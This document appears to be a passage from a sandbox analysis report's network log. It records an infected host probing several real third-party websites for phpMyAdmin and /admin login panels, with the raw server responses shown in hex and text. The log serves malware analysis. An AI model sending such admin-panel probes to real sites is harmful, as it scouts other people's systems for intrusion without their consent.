2023-12-20 02:13:37 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Y3278371pfBLtez7KjPninGb1S9ltERlYFanEcGNdbDOvw1aQQkLCISYLutM3K4jw/wuFBXJX/zuLLMk/GNVOQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:37 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.4	49222	172.67.181.211	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	1353	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: pma_lang_https=en; expires=Fri, 19-Jan-2024 02:13:38 GMT; Max-Age=2592000; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: phpMyAdmin_https=5p41teplhp36o26j7uknhqhcqt; path=/phpmyadmin/; secure; HttpOnly X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
2023-12-20 02:13:38 UTC	613	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 33 38 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:38 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 33 63 64 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3cde<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 26 61 6d 70 3b 6c 61 6e 67 3d 65 6e 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2&lang=en"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a Data Ascii: /jquery/jquery.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resiz
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 Data Ascii: ?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 61 72 61 6d 73 2e 73 65 74 41 6c 6c 28 7b 63 6f 6d 6d 6f 6e 5f 71 75 65 72 79 3a 22 3f 6c 61 6e 67 3d 65 6e 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 32 39 35 34 34 32 34 31 36 39 36 61 33 36 34 66 33 31 34 34 37 36 34 63 34 35 36 33 37 64 35 63 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a Data Ascii: arams.setAll({common_query:"?lang=en",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"29544241696a364f3144764c45637d5c",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 61 67 65 73 2e 70 68 70 27 2c 20 30 29 0a 20 20 2e 61 64 64 28 27 63 6f 6e 66 69 67 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c Data Ascii: ages.php', 0) .add('config.js', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js',
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 Data Ascii: ('drag_drop_import.js'); AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_head
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 32 39 35 34 34 32 34 31 36 39 36 61 33 36 34 66 33 31 34 34 37 36 34 63 34 35 36 33 37 64 35 63 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 64 3d 22 73 65 6c 2d 6c 61 6e 67 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 Data Ascii: ame="token" value="29544241696a364f3144764c45637d5c"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" id="sel-lang"> <option value="
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 64 61 22 3e 0a 20 20 20 20 20 20 20 20 44 61 6e 73 6b 20 2d 20 44 61 6e 69 73 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6c 22 3e 0a 20 20 20 20 20 20 20 20 4e 65 64 65 72 6c 61 6e 64 73 20 2d 20 44 75 74 63 68 0a 20 20 20 20 20 20 20 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 65 6e 22 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 65 64 3d 22 73 65 6c 65 Data Ascii: ch </option> <option value="da"> Dansk - Danish </option> <option value="nl"> Nederlands - Dutch </option> <option value="en" selected="sele

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.4	49244	76.223.105.230	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	207	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:37 GMT Connection: close
2023-12-20 02:13:37 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.4	65106	198.185.159.144	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	173	OUT	GET /admin HTTP/1.1 Host: www.qihabitats.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	539	IN	HTTP/1.1 404 Not Found Age: 4 Content-Type: text/html;charset=utf-8 Date: Wed, 20 Dec 2023 02:13:33 GMT Etag: W/"d3b928bd5836fb6282df4e5a69977809" Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=Bdr0Lw/0val5MDllNzU4NGU4NjZjYjFkOGVkNjk3Mjg4OWNkN2Vi;Secure;Path=/ Strict-Transport-Security: max-age=15552000 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Contextid: cKBBMniK/L9wuMbca X-Frame-Options: SAMEORIGIN X-Frame-Options: SAMEORIGIN Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:37 UTC	647	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 20 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: 8000<!doctype html><html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=d
2023-12-20 02:13:37 UTC	2372	IN	Data Raw: 63 6f 6e 2e 69 63 6f 3f 66 6f 72 6d 61 74 3d 31 30 30 77 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 69 6d 61 67 65 73 2e 73 71 75 61 72 65 73 70 61 63 65 2d 63 64 6e 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 76 31 2f 36 31 65 Data Ascii: con.ico?format=100w"/><meta property="og:site_name" content="Qi Habitats"/><meta property="og:title" content="Qi Habitats"/><meta property="og:type" content="website"/><meta property="og:image" content="http://images.squarespace-cdn.com/content/v1/61e
2023-12-20 02:13:37 UTC	538	IN	Data Raw: 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 40 73 71 73 2f 70 6f 6c 79 66 69 6c 6c 65 72 2f 31 2e 36 2f 6d 6f 64 65 72 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 20 3d 20 7b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 70 73 2c 20 6e 61 6d 65 29 20 7b 20 69 66 20 28 21 72 6f 6c 6c 75 70 73 5b Data Ascii: <script type="text/javascript" crossorigin="anonymous" defer="defer" src="//assets.squarespace.com/@sqs/polyfiller/1.6/modern.js"></script><script type="text/javascript">SQUARESPACE_ROLLUPS = {};</script><script>(function(rollups, name) { if (!rollups[
2023-12-20 02:13:37 UTC	4744	IN	Data Raw: 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 61 63 74 2d 63 73 73 2d 72 75 6e 74 69 6d 65 2d 39 65 32 36 63 32 65 38 65 65 35 65 30 32 65 34 39 32 34 65 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 20 64 65 66 65 72 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 70 73 2c 20 6e 61 6d 65 29 20 7b 20 69 66 20 28 21 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 29 20 7b 20 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 20 3d 20 7b 7d 3b 20 7d 20 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 2e 6a 73 20 3d 20 5b 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 Data Ascii: espace.com/universal/scripts-compressed/extract-css-runtime-9e26c2e8ee5e02e4924e-min.en-US.js" defer ></script><script>(function(rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-c
2023-12-20 02:13:38 UTC	5930	IN	Data Raw: 6e 64 65 72 69 6e 67 2d 75 74 69 6c 73 2d 61 39 62 32 66 62 30 37 34 38 62 30 36 32 32 32 36 33 32 62 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 65 2d 66 6f 72 6d 73 22 3a 7b 22 63 73 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 74 79 6c 65 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 66 6f 72 6d 73 2d 65 36 36 31 30 65 35 32 38 64 36 66 39 32 66 64 35 30 33 31 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 63 73 73 22 2c 22 6a 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 66 6f 72 6d 73 2d 35 61 32 34 62 35 38 32 38 35 61 65 63 30 65 61 Data Ascii: ndering-utils-a9b2fb0748b06222632b-min.en-US.js"},"squarespace-forms":{"css":"//assets.squarespace.com/universal/styles-compressed/forms-e6610e528d6f92fd5031-min.en-US.css","js":"//assets.squarespace.com/universal/scripts-compressed/forms-5a24b58285aec0ea
